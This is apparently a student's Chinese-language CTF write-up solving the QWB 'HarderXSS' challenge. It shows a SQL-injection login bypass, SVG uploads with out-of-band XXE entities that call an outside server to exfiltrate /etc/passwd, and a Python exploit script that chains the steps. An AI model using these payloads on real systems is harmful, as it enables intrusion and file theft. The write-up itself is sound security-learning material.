QWB_Hardxss
这道题属实超出了自己的知识范围,很多东西不是很懂,前几天先把XML,DTD的基础知识看了下,再来看这题,但还是有些云里雾里,太菜了。
入手只有登录可以进去,简单测试了下,很明显发现一些注入关键词被过滤掉了,然后试试万能密码admin'or(1=1)#
抓包发现返回了cookie,但还是登陆不上。
在js中手动设置cookie,document.cookie="PHPSESSID=utf3df914s2ira67rnoeifom10"
登录成功后,可以看到一个上传界面
然后就只能对着WP做了,因为自己还没接触过XXE注入。
根据登录界面的提示外部引用
,矢量图
,则可以想到使用svg来上传图片,进行XXE注入
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY[ <!ENTITY % secret SYSTEM "http://39.107.239.30:80/1.php"> <!ENTITY % visit_hacker SYSTEM "http://39.107.239.30:80/xxe.dtd"> %visit_hacker; %hacker; ]> <svg xmlns="http://www.w3.org/2000/svg"> </svg> <hacker>&sending;</hacker>
|
1.php中为
| <?php echo "php://filter/read=convert.base64-encode/resource=../../../../../../etc/passwd";
|
xxe.dtd中为
| <!ENTITY % hacker "<!ENTITY sending SYSTEM '%secret;'>"> 这个地方最开始不小心在secret前面加了个/,一直没发现浪费了贼多时间
|
不知道是不是buu环境的问题,上传的svg一直显示Not Image!
。直接拿wp读取到的源码先看看吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php session_start();
if(!array_key_exists("login",$_SESSION)){ die("login first"); } else if($_SESSION["login"]===0){ die("login first"); } $encode=$_POST["data"]; if(substr($encode,0,5)!="data:"){ die("You!Hacker!"); } $decode=file_get_contents($encode);
if(!(substr($decode,0,2)==="\xFF\xD8" or substr($decode,0,2)==="BM" or substr($decode,0,2)=="\x89\x50" or substr($decode,0,2)==="GI")){ $dom = new DOMDocument(); $res=$dom->loadXML($decode,LIBXML_DTDLOAD); if(!$res) die("Not Image!"); $decode1=$dom->saveXML(); if(preg_match("/file:|data:|zlib:|php:\/\/stdin|php:\/\/input|php:\/\/fd|php:\/\/memory|php:\/\/temp|expect:|ogg:|rar:|glob:|phar:|ftp:|ssh2:|bzip2:|zip:|ftps:/i",$decode1,$matches)) die("unsupport protocol: ".$matches[0]); if(preg_match("/\/var|\/etc|\.\.|\/proc/i",$decode1,$matches)){ die("Illegal URI: ".$matches[0]); } $res=$dom->loadXML($decode,LIBXML_NOENT); if(!$res) die("Not Image!"); $decode=$dom->saveXML(); if(preg_match("/script|object|embed|onload\s*=/i",$decode)) die("no script!"); } $filename=md5(rand()); file_put_contents("../upload/".$filename,$decode); $filename='/upload/'.$filename; $con=new mysqli("localhost","ctf","123456","ctf"); $res=$con->query("select img from avatar where userid=$_SESSION[login]"); if($res){ if($res->fetch_row()){ $res=$con->query("update avatar set img='$filename' where userid=$_SESSION[login]"); if($res!==TRUE){ $con->close(); } die("update success"); } } $res=$con->query("insert into avatar values($_SESSION[login],'$filename')"); $con->commit(); die("upload success");
|
对于上传的图像文件,对于png、jpg、bmp、gif直接读文件头识别出来后转存,对于其他文件头的按svg进行解析,解析失败的认为不是有效的图像文件返回not image。并且对xml进行了两次(不是两步)解析,第一次解析的时候loadxml(LIBXML_DTDLOAD)
,没有LIBXML_DTDVAILD不会从参数实体文件读取内容(%file 不会被读入,如下图所示),能够防止被本地文件被读取,也能防止js被外部引入。
这个要注意的是外带数据的如果是参数实体,要注意你服务器返回的得是合法的xml或者空白。
解法一
通过serviceWorker
来截取浏览器的请求,借鉴了西湖论剑的那个题解,西湖的那个题解现在我也看不懂….
Service Worker简介
- Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。
- Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。
- Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。
- Service Workers没有访问 DOM 的能力。
剩下的放张图,属实对xss这一快还不太会
解法二
这是借鉴天枢的解法
直接拿exp吧,中间有我很多尝试的svg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| import requests import re import base64 url = 'http://7f02f7e5-c929-4078-9f06-5e6c4acea6db.node4.buuoj.cn/' svg = b"""<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY[ <!ENTITY % secret SYSTEM "http://39.107.239.30:80/1.php"> <!ENTITY % visit_hacker SYSTEM "http://39.107.239.30:80/xxe2.xml"> %visit_hacker; %hacker; ]> <hacker>&sending;</hacker>""" svg2 = b""" <?xml version="1.0"?> <!DOCTYPE message [ <!ENTITY % remote SYSTEM "http://39.107.239.30:80/dtd"> %remote; %start; %send; ]> <svg xmlns="http://www.w3.org/2000/svg"> </svg> """
svg3 = b"""<?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ELEMENT svg ANY > <!ENTITY % sp SYSTEM "http://39.107.239.30:80/xxe.xml"> %sp; %param1; ]> <svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red"> <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text> <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/> <flowRoot font-size="15"> <flowRegion> <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/> </flowRegion> <flowDiv> <flowPara>&exfil;</flowPara> </flowDiv> </flowRoot> </svg>
""" s = requests.Session() s.cookies["PHPSESSID"]= "PHPSESSID=9nas0jatppeftralq58d60apre" res = s.post(url+'login/login.php', data={"username":"admin'or(1=1)#","password":"123"}, headers={"Cookie":"PHPSESSID=9nas0jatppeftralq58d60apre"})
res2 = s.post(url=url+'user/upload.php', data={"data":b"data:image/svg+xml;base64,"+base64.b64encode(svg2)}, cookies={"PHPSESSID":"9nas0jatppeftralq58d60apre"}) print(res2.text) print(base64.b64encode(svg)) if "success" not in res2.text: exit(1) res3 = s.get(url=url+'user/',cookies={"PHPSESSID":"9nas0jatppeftralq58d60apre"})
u = re.findall(r'<embed id="prebox" src="\/upload\/([0-9a-zA-z]+)"',res3.text) u = "upload/"+u[0]
res4 = s.get(url=url+u).text print(res4)
|
后面改了一下脚本竟然拿到了,真是太不容易了,才发现好像不一定是非要sucesss
才行。
| <script > document.domain="cubestone.com"; function pageload(data){ document.body.innerText=data; } fetch(`loader.php?callback=pageload&secret=cube`).then((res)=>{return res.text();}).then((data)=>{eval(data);})</script>
|
拿到upload.php
源码
接着又试了下天枢的那个方法,通了,太痛苦了呜呜呜,是我xml中的dtd中有个地方多写了个/
,啊这题看了两天太痛苦了。
读到了/etc/passwd
到这就实现了任意文件读取了~~
flag{632e6e01-d5aa-400a-9f91-bc3c4856fc96}
。
终于做出来了,这两天学xxe也学到了很多,虽然有个小错误浪费了我很多时间,但找错误的过程也学了很多,这个暑假把XSS的知识得好好学学,还有JS的代码也得认真学学了,西湖论剑的那个方法还没咋看懂,再学学js再看。
参考文章
https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20201019-sw_safe.html
https://blog.funnything.net/2021/06/15/2021-qwb-web-harderxss-writeup/
https://www.icystal.top/ctf15-qwb2021harderxss/